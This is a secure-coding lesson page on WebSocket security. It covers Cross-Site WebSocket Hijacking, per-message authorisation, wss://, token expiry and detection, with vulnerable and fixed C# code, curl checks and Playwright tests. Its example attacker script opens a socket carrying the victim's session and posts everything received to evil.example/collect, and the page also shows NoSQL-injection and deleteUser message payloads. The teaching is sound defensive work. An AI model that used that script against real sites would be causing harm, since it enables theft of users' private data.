SecLab

WebSocket security

A01CWE-1385CWE-346
01

What it is

A WebSocket opens a long-lived, two-way channel between the browser and the server. The core security problem is that the WebSocket handshake is not constrained by the same-origin policy the way fetch/XHR is and the browser attaches cookies automatically — so if the server does not check Origin itself, another page can open a connection carrying the victim's session (CSWSH).

02

Why you should care

Relevance: CoreExpected: L2

The most important point: WebSockets have no CORS. With fetch, the browser enforces the same-origin policy and CORS; with a WebSocket, the handshake is an ordinary HTTP request the browser allows cross-origin, with cookies. That means the server is the ONLY place that can check who connects — and if it forgets, you have Cross-Site WebSocket Hijacking (CSWSH): CSRF for a two-way read-write channel.

Three more things to grasp:

  • Authentication happens once, at the handshake. The channel then stays open, so if the session is revoked mid-stream the connection survives — unless you close it yourself.
  • Each message is a request that does not pass through your middleware. Authentication, authorisation, rate limiting and validation at the HTTP middleware layer do NOT apply to WebSocket messages — you must re-apply them in the message handler.
  • Message data is untrusted input like any other: a message put into innerHTML is XSS (the xss topic), into SQL is SQL injection.

CSWSH is worse than ordinary CSRF in one way: CSRF can only send (it cannot read the response, due to same-origin). CSWSH opens a TWO-WAY channel, so the attacker both sends commands and reads everything the server pushes back in the victim's session.

03

How the attack works

The WebSocket handshake is an HTTP Upgrade request. The crucial point is that the browser sends it cross-origin with cookies, and there is no browser-side mechanism to block it — unlike CORS for fetch.

Diagram source
sequenceDiagram    autonumber    actor V as Victim (signed in)    participant E as evil.example    participant A as app.example (WS server)    V->>E: Opens the attacker page    E-->>V: new WebSocket(#quot;wss://app.example/ws#quot;)    V->>A: GET /ws Upgrade: websocket<br/>Origin: https://evil.example<br/>Cookie: session=... (browser attaches it)    Note over A: If the server does NOT check Origin →<br/>the handshake succeeds with the victim session.    A-->>V: 101 Switching Protocols    Note over E: A TWO-WAY channel is open. The attacker sends commands<br/>AND reads everything the server pushes.

The key point: the Origin header in the handshake states which page opened the connection — but it only helps if the server checks it. The browser sends Origin but does not itself block based on it (unlike CORS).

A table of problems and the tier each lives at:

ProblemMechanismFix belongs to
CSWSHThe server does not check Origin at the handshakeOrigin check + a CSRF token at the handshake
Unauthorised messagesMiddleware does not apply to messagesAuthorise INSIDE each message handler
Non-revocable sessionAuthentication only at the handshakeRe-check the token periodically, close on expiry
XSS/injection via messagesA message is untrusted inputThe same checks as HTTP input
Unencrypted ws://A cleartext channelwss:// required

The second row deserves emphasis: someone who thinks "we authenticated at the handshake" often forgets that each message still needs its own authorisation — a message {"action":"deleteUser","id":7} passes through no [Authorize] on its own.

Diagram description: A sequence diagram of a CSWSH attack. A victim signed into the app opens a page on evil.example. That page calls new WebSocket to wss://app.example/ws. The browser sends the Upgrade handshake request with an Origin header of evil.example and automatically attaches the victim session cookie. If the server does not check Origin the handshake succeeds with the victim session and returns 101 Switching Protocols. A two-way channel opens, so the attacker both sends commands and reads everything the server pushes back in that session.

04

Concrete example

A chat app using WebSockets, authenticated by the session cookie.

html
<!-- The attacker page. No other bug needed — just the server forgetting to check Origin. --><script>  // The browser attaches the app.example cookie to this handshake, though the page is evil.example.  const ws = new WebSocket("wss://app.example/ws");  ws.onopen = () => ws.send(JSON.stringify({ action: "listConversations" }));  // A TWO-WAY channel: it reads everything the server pushes back in the victim session.  ws.onmessage = (e) => fetch("https://evil.example/collect", { method: "POST", body: e.data });</script>
HTTP
# The handshake the browser sends — note the foreign Origin but the Cookie is still there.GET /ws HTTP/1.1Host: app.exampleUpgrade: websocketOrigin: https://evil.example        ← the server MUST check this lineCookie: session=<victim session>    ← the browser attaches it
JSON
// An unauthorised message: authenticating at the handshake is not enough.// An ordinary user sends:{"action":"deleteUser","userId":7}// If the message handler does not check the admin role, it runs — no [Authorize] blocks it.
# After the fix: the handshake checks Origin by exact match, and each message authorises itself.# A handshake from evil.example → 403, the channel never opens.
C#No Origin check at the handshake, and trusting every message after authenticating once.
app.UseWebSockets();   // ❌ không cấu hình AllowedOrigins app.Map("/ws", async ctx =>{    // ❌ Bắt tay không kiểm Origin. WebSocket KHÔNG có CORS, nên trình duyệt cho một    //    trang evil.example mở kết nối này kèm cookie phiên của nạn nhân (CSWSH).    //    Server là nơi DUY NHẤT kiểm được, và nó không kiểm.    if (!ctx.WebSockets.IsWebSocketRequest) { ctx.Response.StatusCode = 400; return; }     var socket = await ctx.WebSockets.AcceptWebSocketAsync();    var userId = ctx.User.GetUserId();   // xác thực MỘT lần ở bắt tay     var buffer = new byte[4096];    while (socket.State == WebSocketState.Open)    {        var result = await socket.ReceiveAsync(buffer, CancellationToken.None);        var msg = JsonSerializer.Deserialize<WsMessage>(buffer.AsSpan(0, result.Count));         // ❌ Không phân quyền theo message. Xác thực ở bắt tay chỉ nói "ai kết nối",        //    không nói "được làm gì". Một người dùng thường gửi {"action":"deleteUser"}        //    và nó chạy — không [Authorize] nào đi cùng message này.        await _dispatcher.HandleAsync(msg, userId);    }});
05

What happened in the wild

The CSWSH bug bounty family (many reports, 2013–present). Christian Schneider named "Cross-Site WebSocket Hijacking" in 2013, and the pattern has recurred since: a WebSocket endpoint authenticated by a cookie where the server does not check Origin, letting an attacker page read the victim's real-time data. Memorable because the cause is always an omitted check — WebSockets have no CORS to do it for you.

Dashboards and dev tools with Origin: * or no check (many CVEs in internal tooling). A tool running a WebSocket on localhost with no Origin check lets any web page connect to it — this is how a malicious page controls a service running on the victim's machine. It illustrates block 2's point: the server is the only place that can check.

And a form more common than CSWSH but less named: unauthorised messages. Many apps authenticate at the handshake then trust every message after, so an ordinary user can send an admin's message. There is no "famous" incident, but it is the most common flaw in a WebSocket code review.

06

How to defend

Layer 1

Check `Origin` at the handshake — the server is the ONLY place that can

mandatory

WebSockets have no CORS, so the browser does not block a cross-origin handshake. The server must do it.

  • Compare Origin against an EXACT string allowlist, the same principle as the cors topic: no endsWith, no regex. Refuse the handshake (return 403 at the HTTP layer before upgrading) if Origin does not match.
  • Plus a CSRF token at the handshake. Origin is the primary defence, but some older clients do not send a reliable Origin; a server-issued token the client returns (via a subprotocol or a one-time query param) is the second layer. This is the same anti-CSRF idea as the csrf topic.

The important point: check at the handshake, not at the first message. If you let the connection open and only check at a message, the channel already exists and some frameworks have already pushed data.

In ASP.NET Core: check in middleware before UseWebSockets, or in SignalR's options.AllowedOrigins. Do not rely on the default — SignalR checks the origin only when you configure the allowlist.

C# · Layer 1Exact-match Origin at the handshake, per-message authorisation, and an expiring token closing the connection.
// SignalR: AllowedOrigins là allowlist so BẰNG chuỗi — cùng nguyên tắc topic cors.builder.Services.AddCors(o => o.AddPolicy("ws", p => p    .WithOrigins("https://app.example")   // không endsWith, không regex    .AllowCredentials()    .AllowAnyHeader())); app.UseWebSockets(); app.Map("/ws", async ctx =>{    // Kiểm Origin Ở BẮT TAY, trước khi nâng cấp. Từ chối bằng 403 nếu không khớp —    // kênh không bao giờ mở, nên không có cửa sổ nào server đã đẩy dữ liệu.    var origin = ctx.Request.Headers.Origin.ToString();    if (origin != "https://app.example")    {        _log.LogWarning("Bắt tay WS bị từ chối: Origin {Origin}", origin);   // lớp 3        ctx.Response.StatusCode = 403;        return;    }    if (!ctx.WebSockets.IsWebSocketRequest) { ctx.Response.StatusCode = 400; return; }     var socket = await ctx.WebSockets.AcceptWebSocketAsync();    var user = ctx.User;    var tokenExp = user.GetTokenExpiry();     var buffer = new byte[4096];    while (socket.State == WebSocketState.Open)    {        // Lớp 2: token hết hạn giữa kết nối → đóng, buộc bắt tay lại. Bắt tay xác        // thực MỘT lần, nhưng kênh mở lâu, nên một phiên đã thu hồi phải bị đẩy ra.        if (DateTime.UtcNow >= tokenExp)        {            await socket.CloseAsync(WebSocketCloseStatus.PolicyViolation, "session expired", default);            break;        }         var result = await socket.ReceiveAsync(buffer, CancellationToken.None);        if (result.Count > MaxMessageBytes) { await socket.CloseAsync(WebSocketCloseStatus.MessageTooBig, "too big", default); break; }         var msg = JsonSerializer.Deserialize<WsMessage>(buffer.AsSpan(0, result.Count));         // Phân quyền TỪNG message — mỗi message là một request thu nhỏ. deleteUser cần        // quyền admin đúng như endpoint HTTP DELETE /users (topic access-control).        if (!_authz.Can(user, msg.Action, msg.ResourceId))        {            _log.LogWarning("Message WS bị từ chối: {Action} bởi {User}", msg.Action, user.GetUserId());            await socket.SendAsync(Error("forbidden"), WebSocketMessageType.Text, true, default);            continue;        }         await _dispatcher.HandleAsync(msg, user.GetUserId());    }});
Layer 1b

Authorise EACH message, and treat messages as untrusted input

mandatory

HTTP middleware does not apply to WebSocket messages, so every control you have at the HTTP layer must be re-applied in the message handler.

  • Authorise each action. Authenticating at the handshake only says "who connected", not "may do what". A message {"action":"deleteUser"} must pass the same authorisation check as an HTTP DELETE /users endpoint (the access-control and api-security topics). The message handler is where authorisation lives, not the handshake.
  • Validate the schema of each message. Coerce types, apply limits, exactly like an input DTO — a message {"userId": {"$ne": null}} is NoSQL injection (the sql-injection topic) if you trust it.
  • A message is untrusted input for EVERY sink. Into innerHTML it is XSS; into SQL it is SQL injection. The WebSocket channel does not make the data more trustworthy.

The right mental model: each message is a miniature HTTP request, and it needs everything an HTTP request needs — a still-valid session, authorisation, validation, rate limiting.

Layer 2

`wss://` required, expirable tokens, and resource limits

Three controls that reduce the remaining surface:

  • wss:// always, never ws://. ws:// is a cleartext channel — the session cookie and every message travel unencrypted. The same HTTPS-only principle as the tls-config topic.
  • Expirable authentication. The handshake authenticates once, but the channel stays open. If the session is revoked (password change, sign-out) the connection must be closed. How: attach an exp to the token used at the handshake, and re-check periodically over the connection's lifetime — on expiry, close it and force a re-handshake.
  • Resource limits (api-security layer API4): connections per user, maximum message size, message rate. An unbounded long-lived channel is a DoS: open ten thousand connections, or send a 100MB message.

And rate limit per connection and per user, not only per IP — the same reasoning as the rate-limiting topic.

Layer 3

Detection: an unexpected `Origin` at the handshake is a low-noise signal

Your legitimate clients handshake from exactly one set of Origin values, so a different Origin is a CSWSH attempt.

  • Log every handshake refused on Origin, with the Origin and the cookie's user id. Alert on the rate — that is the signature of a page trying to hijack many victims' connections.
  • Log messages refused on authorisation. A connection sending many actions it lacks the rights for is a hijacked connection or a malicious client.
  • Close and alert when a token expires mid-connection but the client keeps sending — it may be a session that was revoked and is trying to continue.

Layer 3 because the layer-1 checks already block these; logging turns "blocked" into "we know who is trying".

07

Verifying the fix

1. Test that a handshake from a foreign Origin is refused — the direct CSWSH check:

Shell
B=app.example# A handshake with a foreign Origin must be refused (NOT a 101).curl -si "https://$B/ws" \  -H 'Upgrade: websocket' -H 'Connection: Upgrade' \  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' -H 'Sec-WebSocket-Version: 13' \  -H 'Origin: https://evil.example' -b 'session=<a valid session>' | head -1# Expect: 403. If it is 101 Switching Protocols → CSWSH.

2. Test that an unauthorised message is refused — see the typescript / test tab. Handshake with an ordinary user's session, send an admin action (deleteUser), and assert it is refused AND has no side effect. This is the check that catches "authenticating at the handshake is enough".

3. Grep for a WebSocket server that does not check Origin:

Shell
# SignalR must have AllowedOrigins; a raw WebSocket must check Origin before UseWebSockets.grep -rn "UseWebSockets\|MapHub\|AddSignalR" --include='*.cs' src/ \  && grep -rn "AllowedOrigins\|Request.Headers.Origin\|CheckOrigin" --include='*.cs' src/ \  || echo "WARNING: WebSockets present but no Origin check found"

4. Check it is wss:// only, never ws://:

Shell
grep -rnE 'ws://' --include='*.ts' --include='*.tsx' --include='*.cs' src/ \  | grep -v 'localhost\|127.0.0.1' \  && { echo "unencrypted ws:// to a non-localhost host"; exit 1; }exit 0

5. Check an expired token closes the connection (layer 2) — open a connection, revoke the session on the server, and assert the server closes the connection within the re-check interval (rather than letting it live forever).

TypeScriptThe two core checks: a foreign-Origin handshake refused, and an unauthorised message blocked.
import { test, expect } from "@playwright/test";import { WebSocket } from "ws"; const WS_URL = "wss://staging.example.com/ws"; // CSWSH: bắt tay từ một Origin lạ phải bị TỪ CHỐI ở tầng bắt tay. Thư viện ws cho// đặt header Origin tuỳ ý — đúng thứ một trang kẻ tấn công không làm được nhưng ta// mô phỏng để kiểm server.test("handshake from a foreign Origin is refused", async () => {  const cookie = await getValidSessionCookie();   const refused = await new Promise<boolean>((resolve) => {    const ws = new WebSocket(WS_URL, {      headers: { Origin: "https://evil.example", Cookie: cookie },    });    ws.on("open", () => { ws.close(); resolve(false); });   // mở được = CSWSH    ws.on("error", () => resolve(true));                     // bị từ chối = đúng    ws.on("unexpected-response", (_req, res) => resolve(res.statusCode === 403));  });   expect(refused).toBe(true);}); test("handshake from the real Origin succeeds", async () => {  const cookie = await getValidSessionCookie();  const opened = await new Promise<boolean>((resolve) => {    const ws = new WebSocket(WS_URL, {      headers: { Origin: "https://app.example", Cookie: cookie },    });    ws.on("open", () => { ws.close(); resolve(true); });    ws.on("error", () => resolve(false));  });  expect(opened).toBe(true);}); // Phân quyền TỪNG message: xác thực ở bắt tay KHÔNG đủ. Bắt tay bằng phiên người// dùng thường, gửi một action admin, và khẳng định nó bị từ chối VÀ không có tác dụng.test("an ordinary user cannot send an admin action", async () => {  const cookie = await getOrdinaryUserCookie();  const victimId = await seedUser();   const response = await new Promise<any>((resolve) => {    const ws = new WebSocket(WS_URL, { headers: { Origin: "https://app.example", Cookie: cookie } });    ws.on("open", () => ws.send(JSON.stringify({ action: "deleteUser", resourceId: victimId })));    ws.on("message", (data) => { resolve(JSON.parse(data.toString())); ws.close(); });  });   expect(response.error).toBe("forbidden");  // Khẳng định ở TẦNG DỮ LIỆU: message bị từ chối và người dùng còn tồn tại.  expect(await userExists(victimId)).toBe(true);}); // wss:// only — không kênh rõ nào.test("the endpoint rejects unencrypted ws://", async () => {  const plain = WS_URL.replace("wss://", "ws://");  const failed = await new Promise<boolean>((resolve) => {    const ws = new WebSocket(plain);    ws.on("open", () => { ws.close(); resolve(false); });    ws.on("error", () => resolve(true));  });  expect(failed).toBe(true);});
08

Common mistakes

The "fix"Why it is wrong
Rely on the browser's same-origin policyWebSockets have NO CORS. The handshake goes cross-origin with cookies. The server must check Origin itself
A CSRF token for HTTP but not for WebSocketsThe handshake is a separate request. It needs its own Origin check and token
Authenticate at the handshake then trust every messageMiddleware does not apply to messages. Each message needs its own authorisation
Check Origin with endsWithLoose matching like the cors topic. evil-app.example walks through. Compare by exact string
Check at the first message instead of the handshakeThe channel already opened; some frameworks pushed data before that message
ws:// "because it is internal"The session cookie travels in cleartext. wss:// always
Put a message into innerHTMLA message is untrusted input. XSS like any other input (the xss topic)
Not closing on session revocationAuthentication is only at the handshake, so a signed-out session uses the channel forever

The model mistake, and it is the central one: thinking WebSockets are protected by the same-origin policy like fetch. They are NOT. There is no CORS for WebSockets, so the server is the only place that can check who connects — and CSWSH is the direct consequence of forgetting.

The tier mistake: treating the handshake as the only control point. The handshake checks "who got in"; each message still needs "may do what" checked. HTTP middleware does not travel with a message, so everything you have at the HTTP layer — authorisation, validation, rate limiting — must be re-applied in the handler.

09

References

Tier 1Security considerations — ASP.NET Core SignalR · Microsoft · ASP.NET Core docs · .NET 8
Tier 2WebSockets security vulnerabilities · PortSwigger · Web Security Academy
Tier 2HTML5 Security Cheat Sheet — WebSockets · OWASP · Cheat Sheet Series
Tier 3Cross-Site WebSocket Hijacking (CSWSH) · Christian Schneider
Part of path
Secure Backend DeveloperView path

Comments

Join the discussion
Sign up to comment

Commenting needs an account with at least one completed lesson. That condition is what keeps this thread worth reading: every point belongs to someone who can be asked back, and reputation accrues over time.

Sign upSign in

You can still read every comment below without an account. Signing in brings you back to this exact spot, not to the top of the page.

Loading comments…